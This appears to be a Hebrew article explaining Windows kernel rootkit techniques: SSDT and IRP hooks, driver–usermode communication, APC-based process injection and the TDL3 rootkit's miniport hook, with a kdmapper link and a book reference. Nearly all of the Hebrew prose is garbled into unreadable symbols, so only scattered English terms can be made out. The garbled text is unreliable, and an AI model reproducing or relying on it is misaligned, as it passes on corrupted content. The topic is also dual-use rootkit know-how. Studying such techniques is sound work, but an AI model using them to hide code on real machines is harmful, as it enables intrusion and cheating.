˧˟ˠ ˭˩ˣ˸ˢ ˞˪˷ ˢ˧ˢ ˫˧˧˵ ˫˷ ˢ˪˥˸ˢ˟ Φ˨˶ˡ ˸˶˥˞ ˪˩ˣˮ˷ ˭ˠˢ˪ ˡˠˮ ˢˤ ˞˧ˢ ˶ˣˬ˷˪ hash ˪˷ ˣ˸ˣ˞ ˶ˣˤ˧˞ 

˭ˣ˶˩ˤ Σ˨˩ˣ ˫˞ ˣˢ˷ˬ ˭˦˵ ˬˢˮ˸˷ ˣ˸ˣ˞˟ ˶ˣˤ˧˞ ˭ˣ˶˩ˤ ˞˪˷ ˶ˣˬ˞ ˸ˣˮ˸˷ˢ˪ ˪˩ˣˮ ˸ˣˢˤ˪ ˸˞ ˢˤ Σˢ˧˧˰˟ˢ 

https://github.com/Dark7oveRR/kdmapper/blob/master/kdmapper/intel_driver.hpp
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˸˧ˤ˩˶ˬˢ ˢ˦˧˷˟ xʕ ˞˧ˢ ˞˪˷ ˪˩ˣˮ ˶˧ˤ˥ˢ˪ ˸˞ ˸˩˶˰ˬˢ ˢ˸ˣˬˡ˵˪ ˞˪˪ ˸˯˶˵ˢ ˸˩˶˰ˬˢ ˢˮˣˣ˩˟ ˢˬ˧˶ˠˣ 

π˪rebootΦ 

˧ˬ˪ ˢ˴ˣ˶˷ ˡˣˬ˪˪ ˡˣ˰ ˪˰ ˷ˣˬ˧˷ ˟πSSDT Hooks xπSSDT Inline Hooks ˶ˣ˟˰intercomponent 

communication ˧˸˲˯ˣˢ ˱ˣ˯˟ ˶ˬ˞ˬˢ ˶ˣ˷˧˵ ˸˶ˡ˯˪ ˫˧ˮˣ˦˶˯ ˪˷ ˶˴ˣ˧ˢ null ˟πyoutube ˶˧˟˯ˬ˷ ˪˰ 

˸˶˧˴˧ kernel cheat ˧˯˧˯˟ ˡˣ˞ˬ ˫˧˵˥˷ˬ˪ Φ˸˞ˤ ˢ˶ˡ˯ˢ ˸˧˶ˣ˵ˬˢ ˢ˟˷ ˧˸˷ˬ˸˷ˢ ˧ˡ˩ ˭˧˟ˢ˪ ˶˸ˣ˧ 

˥ˣ˸˧˲˟ ˧˪ˮ˶˵ ˸ˣ˩˶˰ˬ˟ Windows ˧ˮ˞ˣ ˳˧˪ˬˬ ˪˩˪ ˧ˬ ˫ˠ˷ ˢ˴ˣ˶ ˯ˮ˩ˢ˪ ˫ˣ˥˸˪. 

˸˶ˣ˷˵˸ ˸˯˯ˣ˟ˬ IRP hook 

˵˪˥˟ ˢˤ ˞˪ ˷ˡ˥˞ ˢ˟˶ˢ ˢ˟˧˯ˢˬ ˞ˣˢ˷ ˦˰ˬ˩ ˢˢˤ ˭˧˦ˣ˪˥˪ ˪˩˪ ˢˬ ˧˸ˮ˧˧˴˷ ˟πSSDT Hooks Φˢ˟˧˯ˢ 

ˢˤ˪ ˞˧ˢ ˧ˮ˷˷ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮˢ ˫˧˸˶˷ˬ ˸˞ ˢ˸ˣ˞ ˢ˶˦ˬˢ π ˭˯˥˞˪ ˸˞˪˟˦ ˸ˣ˪ˣ˰˲ dispatch ˣ˞˶˵˧˷ 

˰ˠ˶˟ ˰˴˟˸ˬ˷ ˧˞ˮ˸ ˫˧ˣ˯ˬ ύ˟πSSDT ˸˞ˤ ˸˪ˣ˰˲ syscall ˟xπIRP major function table ˸˞ˤ ˸˥˧˪˷ 

IOCTL ˞˪ˣ˸ˣ sπdriver Φό˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˨˧˪ˢ˸ˢ ˪˷ IRP Hook ˨˧˪ˢ˸˩ ˶˸ˣ˧ ˫˩˥ˣ˸ˬ ˧˩ ˞ˣˢ ˪˪ˣ˩ ˶˸ˣ˧ 

˫˧˟˪˷ ˬπSSDT HookΥ 

мό ˶ˣ˥˟˪ ˪˰ ˢˤ˧˞ driver ˣˮ˥ˮ˞ ˫˧˴ˣ˶ ˰˴˟˪ ˸˞ sπHook Σˣˬ˩ ˡ˧ˬ˸ ˱˧ˡ˰ ˰˴˟˪ ˸˞ sπHook ˪˰ driver 

˞˪˷ ˫˧˷ˬ˸˷ˬ x˟ ˢ˟˶ˢ x˞ ˪˪˩˟ Φ˞ˬˠˣˡ ˪πdriver ˪ˣ˩˧˷ ˫˧˞˸ˢ˪ ˢ˶˵ˬ˪ ˤˢ s˫ˢ ˸˶ˡ˯ sπ 

dump_.... drivers Φˢ˶ˡ˯ xʕ ˸˧˞˶˥˞ ˰˴˟˪ logging ˪˩˪ ˸˩˶˰ˬˢ ˶ˣ˟˰ ˫˧˶˵ˬ ˫ˢ˟˷ ˵˪˥ ˫˧ˣ˯ˬ 

ˣ˞ ˣ˪˧˲˞ ˪˩ ˸˩˶˰ˬˢ ˫˧˯˶ˣ˵ Φ˪˩ driver ˢ˶ˡ˯ˬ xʕ ˧˞˶˥˞ ˪πLog ˪˷ ˫˧˰ˣ˶˧˞ ˠˣ˯ˬ ˶˥˞ ˫ˢˣ ˫˪ˣ˩ 

˫˧˞˶˥˞ ˶ˣˬ˷˪ ˸˞ ˰ˡ˧ˬˢ ˟πfilesystem Φˢ˟˧˯ˬ xʕ ˡ˧ˬ˸ ˢ˧ˢ˧ driverπ˫˧ ˣ˪˞˩ ˡ˩ ˧˪˩ˣˮ˷ ˷ˬ˸˷ˢ˪ 

˫ˢ˟ ˢ˶˦ˬ˩ Σ˭˧˞ ˫ˢ˪ ˢ˶˦ˬ ˸˶˥˞ ˭˧˞ˣ ˫ˠ ˫ˣ˷ ˢ˟˧˯ ˣ˵ˡ˟˧˷ ˸˞ ˭˩ˣ˸ˢ ˶˟ˣ˰˷ ˨˶ˡ ˫˸ˣ˞ driverπ

˫˧ ˭˩˪ˣ ˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˫ˢ˟. 

 

нό ˶ˣ˥˟˪ ˪˰ ˢˤ˧˞ major function ˢ˴˶ˮ ˰˴˟˪ ˸˞ sπHook Φ˧˲˩ ˧˸ˮ˧˧˴˷ ˫˧˶ˬ˞ˬ˟ ˫˧ˬˡˣ˵ˢ ˪˩ ˢ˪ˣ˰˲ 

˸ˬ˧˧˵ˢ ˟πmajor function table ˸ˠ˴˧˧ˬ ˠˣ˯ ˥˞ ˶˪˷ ˢ˪ˣ˰˲ ˢ˷πdriver ˨˧˶˴ ˷ˬˬ˪ Σ˞ˬˠˣˡ˪ 

ˢ˪ˣ˰˲ ˪˰˲ˣ˸˷ ˸˶˧˴˧˟ handle ˪πdriver Σˢ˪ˣ˰˲ ˪˰˲ˣ˸ˢ ˟πdevice control ύ˸˥˧˪˷ IOCTL όˣ˞ 

ˢ˪ˣ˰˲ ˪˰˲ˣ˸˷ ˟πunload ˪˷ ˣ˸ˣ˞ driver Φ˭˧˞ ˢ˟˧˯ ˷πdriver ˣˬ˩ Ϧdump_.....sys Ϧ˷ˬ˸˷˧ ˟π

device control ˭˩˪ˣ ˪˩ˣˮ ˸ˣ˷˰˪ ˵ˣˢ ˢ˸ˣ˞˪ ˢ˪ˣ˰˲ Σ˞˨ ˫ˠ ˪˩ˣˮ ˰˴˟˪ ˵ˣˢ ˸ˣ˪ˣ˰˲˪ sπ

IRP_MJ_WRITE/IRP_MJ_READ ˪˧˰˲ˢ˪ˣ ˸˞ ˸ˣ˪ˣ˰˲ˢ ReadFile/WriteFile ˢˬ˞˸ˢ˟ ˨˧˪ˢ˸ˢˬ 

˳˶˷ ˟πusermode ˧ˡ˩ ˞ˣ˶˵˪ ˭˸ˣ˞˪ ˸ˣ˪ˣ˰˲. 
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оό ˰ˣ˴˧˟ ˨˧˪ˢ˸ sπhooking ˣˬ˴˰ Φ˫ˠ ˨˧˪ˢ˸ ˢˤ ˦˰ˬ ˶˸ˣ˧ ˨˟ˣ˯ˬ ˰ˣ˴˧˟ˬ SSDT Hook Φπ˟SSDT Hook 

ˣˮˠ˷ˢ ˸˞ ˯˧˯˟ sπSSDT table ˫˰ symbol ˪ˮ˶˵ˢ˷ ˞˴˧˧ˬ ˪˩˪ ˢˮ˩ˣ˸ ˸˧˪ˮ˶˵ ˢ˴ˣ˶˷ ˸ˣ˷˰˪ x˟ 

˷ˣˬ˧˷ Σˡˣ˰˟ ˸˞˷ sπIRP major function table ˨˶˦˴ˮ ˠ˧˷ˢ˪ ˢˬπDRIVER_OBJECT ˪˷ ˣ˸ˣ˞ 

driver ˨˧˶˴ˬ˷ ˷ˣˬ˧˷ ˢ˪ˣ˰˲˟ ˣˬ˩ ObReferenceObjectByNameΦ 

 
пό ˢ˞˧˶˵ˢ ˢ˪ˣ˰˲˪ ˢ˪˷ ˣˮ˰˴˧˟ ˸˞ sπHook Φ˭ˣ˶˵˧˰ ˷ˣˬ˧˷ˢ ˟πsystem services ˨˧˪ˢ˸˩ ˬπ

usermode ˶˸ˣ˧ ˦ˣ˷˲ π ˢ˞˧˶˵ ˪πWin32API ˫˧˞˸ˬˢ ˵˲ˣ˯ˬ˷ ˬπntdll.dll ˢ˪ˣ˰˲ˢˣ ˰˴˟˸ ˸˞ ˪˩ 

ˢˬ ˨˧˶˴˷ ˶˧˟˰˸ˣ ˸˞ ˫˧˶˦ˬ˶˲ˢ Φ˧ˡ˩ ˷ˬ˸˷ˢ˪ ˢ˪ˣ˰˲˟ ˸ˮ˧ˣ˴ˬˢ ˟πIRP ˨˶˦˴ˮ ˠ˧˷ˢ˪ ˫ˡˣ˵ ˪˩ 

handle ˶ˣ˟˰ ˣ˸ˣ˞ driver ˸˶ˤ˰˟ ˢ˪ˣ˰˲ ˣˬ˩ CreateFileA ˸˶ˤ˰˟ˣ sπsymbolic link ˷ s˪πdriver Φ

˨˶ˡ˟ ˪˪˩ ˢ˧ˢ˧ ˨˧˶˴ ˰˴˟˪ ˸ˣˬ˩ ˸ˬ˧ˣ˯ˬ ˪˷ ˢ˯ˡˮˢ ˶ˣ˥˞˪ ˧ˡ˩ ˞ˣ˴ˬ˪ ˸˞ sπsymbolic link ˪˷ 

driver ˧ˬ˷˶ ˣˬ˩ ˸˶ˡ˯ sπdump drivers ˨˷ˬˢ˟ ˪˷ ˞ˬˠˣˡˢ ˧˸˸ˮ˷ Φ˫˞ ˢ˧ˢ˧ ˣˮ˪ ˪ˤˬ sπsymbolic 

link ˢ˧ˢ˧ ˭˧ˣ˴ˬ ˶˟˩ ˸˪ˣ˰˲˟ ˢ˯˧ˮ˩ˢ ˪πdriver ˣˬ˩ ˢˮˣˬ˸˟ ˸˲˶ˣ˴ˬˢ: 

 
˶˥˞˪ ˸ˠ˷ˢ handle ˪πdriver ˷ˬ˸˷ˮ ˟πWin32API ˫˧ˬ˧˞˸ˬˢ ˧ˡ˩ ˪˧˰˲ˢ˪ ˪˰ sπdevice ˪˷ sπ

driver ˸˞ ˢ˪ˣ˰˲ˢ ˢ˪˷ ˣˮ˧˷˰ ˵ˣˢ Σ˞ˬˠˣˡ˪ ˫˞ ˣˮ˰˴˧˟ ˵ˣˢ ˢ˪ˣ˰˲˪ IRP_MJ_READ ˪˷ sπdriver ˤ˞ 

˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˢ˪ˣ˰˲˟ ReadFile όύ˫˰ sπhandle ˪˷ sπdriver ˵˲˯˪ˣ ˢˤ˧˞ ˫˧˶˦ˬ˶˲ ˢ˴˶ˮ˷ Φ

˦ˬ˶ˣ˲ˢ ˶ˣ˟˰ ˪˩ dispatch ˞ˣˢ ˰ˣ˟˵ ύ˪˟˵ˬ ˸˞ sπdevice object ˸˞ˣ sπIRP ˠ˴˧˧ˬˢ ˸˞ sπIOCTL ό

˨˞ ˪˪ˠ˟ ˣˮ˥ˮ˞˷ ˫˧˦˪ˣ˷ ˪˰ ˢ˪ˣ˰˲ˢ ˪˩ˣˮ ˵˲˯˪ ˣ˪˧˞ ˫˧˶˦ˬ˶˲ ˢ˴˶ˮ˷ ˣ˲ˣ˯˟˷ ˪˷ ˶˟ˡ ˣ˰˧˲ˣ˧ ˟π

IRPΦ 

ˤ˞ ˧˲˩ ˧˸ˮ˧˧˴˷ ˫ˠ ˦˟ˬˬ ˧˸ˮˠˢ ˫ˠˣ ˦˟ˬˬ ˧˲˵˸ˢ ˭˧˞ ˷ˬˬ ˪ˡ˟ˢ ˭˧˟ ˷ˣˬ˧˷ ˟πSSDT ˭˧˟ˣ ˷ˣˬ˧˷ ˟πIRP 

major function table ˶ˣ˟˰ inter-component communication Σ˸˞ ˫ˢ˧ˮ˷ ˶˷˲˞ ˶ˣ˴˰˪ Σ˰ˣˮˬ˪ ˭˵˸˪ˣ 

˸˶ˤ˰˟ log ˧˸˪˥˸ˢ ˪˷ ˰ˡ˧ˬˢ ˸ˣ˞˪˟˦˟, ˨ˣ˸˟ˣ ˪˩ ˢ˪ˣ˰˲ ˡˣ˰ ˸˧˧˪˰˟ ˸˩˶˰ˬˢ ˞ˡˣˣ˪ˣ ˭˩ˣ˸ˢ˷ ˶˞˷ˮ 

ˣ˸ˣ˞ ˶˟ˡ ύ˭˟ˣˬ˩ ˫ˠ ˟πIRP Hooking ˶˷˲˞ ˰˴˟˪ ˸˞ ˪˩ ˸ˣ˦˧˷ˢ ˸ˣ˲˯ˣˮˢ ˧˸ˮ˧˧˴˷ ˪πSSDT Hook ˣˬ˩ 

trampoline hook/inline hook Φό 
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˭˸˧ˮ ˸ˣ˞˶˪ ˞ˬˠˣˡ ˢˮˠˢ˪ ˧˸˲˶˧˴˷ ˱ˣ˯˟ ˶ˬ˞ˬˢ ˫˷˟ ProtectionSolution Φ˸˞ ˦˵˧ˣ˶˲ˢ ˢˤˢ ˧ˮ˞ ˧˸˶˴˧ 

˶˴ˣˬ˩ ˢˣˣ˪ˮ ˦˵˧ˣ˶˲˪ s-rootkit ˧˪˷ ˸ˣ˩˶˰ˬ˪ Windows ˦˵˧ˣ˶˲ˢˣ ˭ˠˬ ˸ˣ˶ˣ˴˟ ˧˸˶˞˧˸˷ ˸ˣ˶ˣ˴˟ˣ 

˸ˣ˲˯ˣˮ ˪˰ ˪˩ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮˢ ˫˧˧˦˧˶˵ˢ ˪˷ ˸˩˶˰ˬˢ Σ˰˪ ˸ˣ˪ˣ˰˲ ˸ˣ˟ˣ˷˥ ˱˵ˣ˸˷ ˪ˣ˩˧ ˸ˣ˷˰˪ ˫ˢ˟ ˷ˣˬ˧˷ 

ˢ˰˶˪ ˪˰ˣ ˪˩ ˸ˣˮ˩ˣ˸ˢ ˸ˣ˧˪ˮ˶˵ˢ ˸ˣ˴˶˷ ˸˩˶˰ˬ˟ Φ˞ ˫ˠ ˶ˬ˞ˬˢ ˱ˣ˯˟˶˷˵ ˫ˠ ˭ˣ˦˶˯ ˢ˞˶ˬ˷ ˸˞ 

˷ˣˬ˧˷ˢ ˧ˮ˷˟ ˫˧˵˪˥ˢ ˧˸ˮ˧˧˴˷ ˦˵˧ˣ˶˲˪ ˧˸˪˰ˢ˷ ˢ˧˧˲˴˪ ˟πyoutubeΦ 

 
˸˶ˣ˷˵˸ ˸˯˯ˣ˟ˬˢ ˪˰ Process Injection ˭ˮ˩ˣ˸ˬ ˷˞˶ˬ 

˦˲˯ˮˣ˵ sπAPC ˞ˣˢ ˣˢ˷ˬ ˡ˷˧˸˶˟˧ ˣ˧˪˰ ˫˧˶ˬ˞ˬ˟ ˫˧ˬˡˣ˵ˢ π ˨˶ˡ ˳ˣ˶˪ ˸˥˸ ˦˯˵˦ˮˣ˵ ˢ˴˧˶ ˪˷ ˨˧˪ˢ˸ 

˫˧ˣ˯ˬ ˧˲˪ ˨˶ˣ˴ˢ Φˢ˶ˣ˴˟ xʕ ˧ˡ˩ ˠ˧˷ˢ˪ ˢ˷˧ˠ ˪˩˪ ˭ˣ˶˩ˤˢ ˪˷ ˨˧˪ˢ˸ˢ ˰ˡ˧ˬ˪ˣ ˫˧˧˵˷ ˣ˪˴˞ ˪˩ˣˮ ˷ˬ˸˷ˢ˪ 

ˡ˥˞˟ ˢˬπWinAPI functions ˸ˣˮ˸ˣˮ˷ ˣˮ˪ ˸ˣ˶˷˲˞ ˱˧˯ˣˢ˪ APC ˶ˣ˟˰ ˣ˸ˣ˞ ˨˧˪ˢ˸Φ 

˫˞ ˢ˴˶ˮ ˰˴˟˪ ˸˞ ˸˶ˣ˷˵˸ˢ ˶ˬˠ˪ ˧˞˪˪ ˸˶˟˰ˢ ˰ˡ˧ˬ ˢ˶ˣ˴˟ ˸˶˥˞ ˭˧˟ ˫˧˵˪˥ˢ Σ˨˶˦˴ˮ ˰˴˟˪ ˶˲˯ˬ 

˫˧˩˧˪ˢ˸Υ 

мό ˸ˠ˷ˢ sπProcess ID ˪˷ ˨˧˪ˢ˸ˢ ˫˧˧˵ˢ ˟πusermode ˣ˸˧˞˷ ˣˮ˥ˮ˞ ˫˧˴ˣ˶ ˶˷˵˸˪ Φ˪˩ˣˮ ˠ˧˷ˢ˪ ˸˞ 

˶˲˯ˬˢ ˸˶ˤ˰˟ ˫˷ˢ ˪˷ sπimage ˪˷ ˨˧˪ˢ˸ˢ ύˣ˸ˣ˞˷ ˭ˬ ˫˸˯ˢ ˰ˡˮ ό˷ˣˬ˧˷˟ ˡ˥˞˟ ˢˬπkernel 

APIs x˞ ˶˟˰ˬ˟ ˧ˮˡ˧ ˸ˬ˧˷˶˟ sπEPROCESS ˷ˣ˲˧˥ˣ ˶ˣ˟˰ ˨˧˪ˢ˸ ˫˰ ˣ˸ˣ˞ ˫˷ˢ. 
 

нό ˸˰˧˟˵ ˪ˣ˵ˣ˦ˣ˶˲ ˸˶˧ˬ˷ ˫˧ˮˣ˸ˮ ˧ˮ˷˷ ˫˧ˡˡ˴ˢ ˫˧˰ˡˣˬ ˣ˧˪˞ Φ˪˩ˣˮ ˰˴˟˪ ˸˞ ˢˤ ˪˩˟ ˧ˮ˧ˬ ˫˧˩˶ˡ ˪˟˞ 

˪˪ˠ˟ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˯˲˞ ˢ˧˴˵˶˦ˮ˧˞ ˭˧˟ ˫˧˵˪˥ˢ ˧ˡ˩ ˞˪ ˱ˣ˷˥˪ ˸˞ ˣˮˬ˴˰ ˪˰ ˧ˡ˧ ˸ˣ˪˧˰˲ ˸˶˸ˣ˧ˬ Σ

˨˶˦˴ˮ ˞ˣ˴ˬ˪ ˨˶ˡ ˢ˟ sπDriver ˪˩ˣ˧ ˵ˣ˶˯˪ ˞ ˸˭ˣ˶˩ˤˢ ˪˷ ˨˧˪ˢ˸ˢ ˧ˡ˩ ˞ˣ˴ˬ˪ ˸˞ ˫˧˶˦ˬ˶˲ˢ 

˫˧ˮˣ˸ˮˢˣ ˫˧˧˦ˮˣˣ˪˶ˢ ˸˶ˣ˷˵˸˪ Φ 
 

˨˶ˡ ˸ˬ˧ˣ˯ˬ ˢ˟˷ ˶˷˲˞ ˸ˣ˷˰˪ ˸˞ ˢˤ ˞˧ˢ ˶ˣ˴˧˪ structure ˶ˣ˟˰ ˪˩ ˫˧ˮˣ˸ˮˢ ˣ˸˪˧˥˸˟ˣ ˫˧˷˪ 

string ˡ˥ˣ˧ˬ Σ˨ˣ˶˞ ˰ˣˡ˧ˣ ˷˞˶ˬ ύ˞ˬˠˣˡ˪ΥάIŜƭƭƻ 5ǊƛǾŜǊΣ aȅ tŀǊŀƳŜǘŜǊǎ ŀǊŜ ƘŜǊŜ ŀŦǘŜǊ ǘƘƛǎ 

ǎǘǊƛƴƎέ Φόˢ˶ˣ˴˟ xʕ sπdriver ˪˩ˣ˧ ˵ˣ˶˯˪ ˸˞ ˭ˣ˶˩ˤˢ ˞ˣ˴ˬ˪ˣ ˸˞ ˰ˡ˧ˬˢ ˡ˥ˣ˧ˬˢ ˢˤˢ ˶˧˟˯˷ ˡˣ˞ˬ 

˞˪˷ ˰˧˲ˣ˧ ˫ˣ˵ˬ˟ ˶˥˞ ˭ˣ˶˩ˤ˟ Σ˭˞˩ˬˣ ˪˩ˣˮ ˫ˡ˵˸ˢ˪ ˸˯ˮ˩ˢ˪ ˫˧˶˦ˬ˶˲ ˣ˸ˣ˞˟ sπstructure ˶ˣ˟˰ ˪˩ 

ˢ˪ˣ˰˲ ˢ˴˶ˮ˷ ˢ˷πdriver ˢ˷˰˧ ˣ˪˧˲˞ˣ ˪˩ˣˮ ˶ˣ˴˧˪ ˢˡ˷ ˟πstructure ˶ˬˣ˞˷ ˫˞ ˷˧ ˢ˪ˣ˰˲ ˢ˴˶ˮ˷ 

˰˴˟˪. 
 

оό ˨˷ˬˢ˟ ˪˷ ˞ˬˠˣˡˢ ˧˸˞˟ˢ˷ sπdriver ˶ˣ˟˰˧ ˢ˞˪ˣ˪˟ ˭˧˞ ˸˧˲ˣ˯ ˪˰ ˭ˣ˶˩ˤˢ ˡ˰ ˞˴ˬ˧˷ ˸˞ sπ

structure Σ˰˴˟˧ ˸˞ ˢ˪ˣ˰˲ˢ ˫˞ ˨˧˶˴ ˰˴˟˪ ˣˢ˷ˬ ˶ˣˤ˥˧ˣ ˷˲˥˪ ˶ˣ˟˰ ˡˣ˰ ˢ˷˵˟ Φˢ˶ˣ˴˟ xʕ ˪˩ˣˮ 

˷ˬ˸˷ˢ˪ ˣ˸ˣ˞˟ sπstructure ˸ˣˮ˷˪ˣ ˪˩ ˫˰˲ ˸˞ ˸ˣˡ˷ˢ ˧˲˪ ˢ˪ˣ˰˲ˢ ˨˧˶˴˷ ˰˴˟˪ ύ˰ˣ˴˧˟ ˸ˣ˪ˣ˰˲ˢ 

ˣˬ˩ ˧˩˶ˡ˟ ˸ˢ˸˶ˣ˷˵ ˸ˣ˶˥˞ˢ ˞ˣˢ ˧ˮˣ˶˩ˮ˧˯ Σˤ˞ ˞˪ ˢ˧ˢ˸ ˢ˧˧˰˟ όˣ˞ ˶ˣ˴˧˪ instances ˫˧˲˯ˣˮ ˶ˣ˟˰ ˪˩ 

ˢ˷˵˟ ˨˩ˣ sπdriver ˨˧˷ˬ˧ ˵ˣˡ˟˪ ˞˴ˬ˧ˣ ˸˞ sπstructures ˫˧ˮˣ˷ˢ ˭ˣ˶˩ˤ˟. 
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˨˧˪ˢ˸ ˢˤ˩ ˷ˬ˸˷ˬˢ ˟πProcess Injection ˢ˞˶˧ ˨˩Υ 
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ˬ ˸ˣ˧˦˵˶˲ ˸ˣ˞ˬˠˣˡ-Rootkits And Bootkits  ˸˞ˬNo Starch Press 

 

˵˪˥˟ ˢˤ ˶ˣ˟˰˞ ˪˰ ˸ˣ˞ˬˠˣˡ ˸ˣ˵ˤˣˮ˪ ˸ˣ˧˪ˮ˶˵ ˣ˷˰˷ ˷ˣˬ˧˷ ˸˥˞˟ x˞ ˶˸ˣ˧ ˸ˣ˵˧ˮ˩˦ˢˬ ˧˸ˮ˧˧˴˷ ˧ˮ˲˪ ˭˩ 

˶ˬ˞ˬ˟ Σ˶˞˸˞ ˸˞ ˸˶ˣ˴ ˷ˣˬ˧˷ˢ ˭˸ˣ˞˟ ˸ˣ˵˧ˮ˩˦ ˢ˞˶˞ˣ ˨˧˞ ˫˧˷ˣˬ˧ˬ ˣ˪˞ ˫˧˪ˣ˩˧ ˶ˣˤ˰˪ ˠ˧˷ˢ˪ ˸˞ 

ˢ˶˦ˬˢ ˞˧ˢ˷ inter-component communication ˞˟˥ˣˬ ˶˞˷ˬ ˸˩˶˰ˬˢΦ 

˸˞ ˸ˣ˞ˬˠˣˡˢ ˣˮ˪˸ˣ˵ˤ ˧˸˥˵˪ ˶˲˯ˢˬ Rootkits And Bootkits ˪˷ No Starch Press Σ˶˲˯ˢ ˶˞˸ˬ 

˸ˣ˞ˬˠˣˡ ˸ˣ˟˶ ˪˷ rootkits ˪˷ˣ bootkits ˶ˡ˯˟ Ϧ˧ˠˣ˪ˣˮˣ˶˩ Ϧ˧˲˪ ˨˧˶˞˸ ˸˰˲ˣˢ ˢ˵ˤˣˮˢ ˢˮˣ˷˞˶˪ ˫ˣ˩˥˸ˢˣ 

˪˷ ˢ˵ˤˣˮˢ ˢˬ˴˰ ˯˥˧˟ ˸ˣ˶˥˞˪ ˪˷ ˢ˸ˣ˞ ˢ˲ˣ˵˸ Φ 

 

TDL3 

TDL x˞ TDSS ˞˧ˢ ˸˥˲˷ˬ ˸ˣ˵ˤˣˮ ˣ˟˷˥ˮ˷ ˣˬ˩˥ˣ˸ˬ˪ ˸˸ˣ˥˸ˣ˲ˬˣ ˡˣ˞ˬ ˭ˬˤ˪ ˫˸˰˲ˣˢ ˢˮˣ˷˞˶˪ Φ˧˲˩ 

˭˸˧ˮ˷ ˭˧˟ˢ˪ ˫˷ˢˬ TDL3 ˞˧ˢ ˢ˯˶ˠˢ ˸˧˷˧˪˷ˢ ˪˷ ˢ˵ˤˣˮˢ Σˣˬ˩ˣ ˪˩ ˸ˣ˶˥˞ˢ ˢ˵ˤˣˮˢ ˣˤˢ ˸˯˯˟˸ˬ ˪˰ 

˧ˣˮ˧˷ ˸ˬ˧˶ˤ ˫˧ˮˣ˸ˮˢ ˸˩˶˰ˬ˟ ˢ˦˧˪˷ˣ ˪˰ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˴˶ˢ ˢˬ˶˟ ˧˩ˢ ˢ˩ˣˬˮ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˧ˡ˩Φ 

 
:˸ˮˬ ˪˰ ,˭˟ˣˬ˩ ,˸˞ˤ 

мό ˪˟˵˪ ˶˸ˣ˧ ˢ˦˧˪˷ ˪˰ s˸˩˶˰ˬ 

нό ˰ˣˮˬ˪ ˶˸ˣ˧ˬ ˸ˣˮˣ˶˸˲ ˢ˥˦˟˞ ˶˸˞˪ ˸˞ ˢ˵ˤˣˮˢ Φ˪˩˩ ˢ˟˩˷ˢ˷ ˶˸ˣ˧ Ϧˢˢˣ˟ˠ Ϧ˸˶˩ˣˬˣ ˸˩˶˰ˬ˟ 

ˢ˪˰˲ˢˢ ˣ˧ˢ˧ ˶˸ˣ˧ ˸ˣˮˣ˶˸˲ ˢ˥˦˟˞ ˣ˯ˮ˧˷ ˞ˡˣˣ˪ ˭˧˞˷ ˢ˸ˣ˞˟ ˢ˟˩˷ ˸ˣ˵ˤˣˮ ˸ˣ˴˶˲ˣ ˢ˥˦˟˞. 

˞ˬˠˣˡˢ ˢ˟˷ ˤ˩˶˸˞ ˨ˣ˸ˬ ˸˵ˤˣˮ TDL3 ˞˧ˢ ˨˶ˡˢ ˪˷ ˢ˵ˤˣˮˢ ˞˧˟˥ˢ˪ ˫˧˴˟˵ ˸ˣ˧˵˧˸ˣ ˸˩˶˰ˬ˟ ˫˧˴˟˵ˢ 

ˤ˰˟˸˶ IRP hook ˶˟˰˷ ˧ˣˮ˧˷ ˞ˬˠˣˡˢˬ ˸˧˯˞˪˵ˢ ˶ˣ˟˰ ˢ˶˦ˬˢ Φˢ˦˧˷ˢ ˧˟˸ˣ˩˷ ˢ˵ˤˣˮˢ ˣ˷ˬ˧ˬ ˞˧ˢ 

˰ˣ˴˧˟ ˵ˣˢ ˪˩˪ sπdriver stack ˪˷ ˧ˮˮˣ˩ ˭ˣ˯˥˞ˢ ˢˬ˶˟ ˧˩ˢ ˢ˩ˣˬˮ ˪˷ sπMiniport DriverΦ 

πsdriver stack ˶ˣ˟˰ ˭ˮˣ˩ ˞˥˭ˣ˯ ˸˩˶˰ˬ˟ Windows ˢ˞˶ˮ ˨˩Υ 

¶ filesystem drivers ˣˡ˰ˣˮ ˷ˬˬ˪ ˞˥˭ˣ˯ ˪˷ ˰ˡ˧ˬˢ ˨ˣ˸˟ sπstorage device ˦ˬ˶ˣ˲˟ ˰ˣˡ˧ ˷˞˶ˬ ˨˩ 

ˢ˧ˢ˧˷ ˭˸˧ˮ ˭˧˟ˢ˪ ˢˬ ˰ˡ˧ˬˢ ˭˯˥ˣ˞ˬ˷ ˶ˬˣ˞. 

¶ Storage class drivers ˣˡ˰ˣˮ ˫ˠ˶˸˪ ˸˞ ˦˪˵ˢ ˶˟ˣ˰˷ ˢˬπfilesystem drivers ˶˞˷ˬˣ sπdrivers 

˫ˢ˧˪˰ˬ ˦˪˵˪ ˢ˷πstorage port drivers ˣˮ˧˟˧. 

¶ Storage port drivers ˫˧˶˷˲˞ˬ ˸˶ˣ˷˵˸ ˧˟ s˭πhost-specific storage drivers ˭˧˟˪ sπhardware-

specific storage drivers Σ˶ˬˣ˪˩ ˵˲˯˪ ˧˥˸˲ˬ˪ sπdrivers ˸ˣ˶˷˲˞ ˶ˣ˴˧˪ ˸˶ˣ˷˵˸ ˸˧˥˶˩ˢ ˫˰ 

ˢ˶ˬˣ˥ˢ ˰˴˟˪ˣ ˸˞ ˸ˣ˧˴˪ˣ˲˧ˮˬˢ ˸ˣ˷ˣ˶ˡˢΦ 
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˨˧˪ˢ˸ sπhooking ˪˧˥˸ˬ ˭ˣ˧˯˧ˮˬ ˠ˧˷ˢ˪ handle ˪πminiport driver ˣ˟˷ ˫˧˰˴˟˸ˬ ˢˬ˩ ˫˧˟˪˷Υ 

мό ˸ˠ˷ˢ sπhandle ˪πDEVICE_OBJECT ˪˷ sπstorage class driver ˸˶ˤ˰˟ sπsymbolic link ˢ˞˶ˮ˷ 

ˢ˩˩Υ PhysicalDriveXX\\??\\ ύXX ˱˪˥ˣ˧ ˶˲˯ˬ˟ ˪˷ sπhard disk ˸˩˶˰ˬ˟Φό 

нό ˢˡ˧˶˧ ˢ˦ˬ˪ ˳˰˟ sπdrivers ˧˞˶˥˞˷ ˪˲˦˪ ˢ˪ˣ˰˲˟ ˸˧˦ˮˣˣ˪˶ˢ ύˢ˶˵ˬ˟ ˢˤ storage Input/Output ό

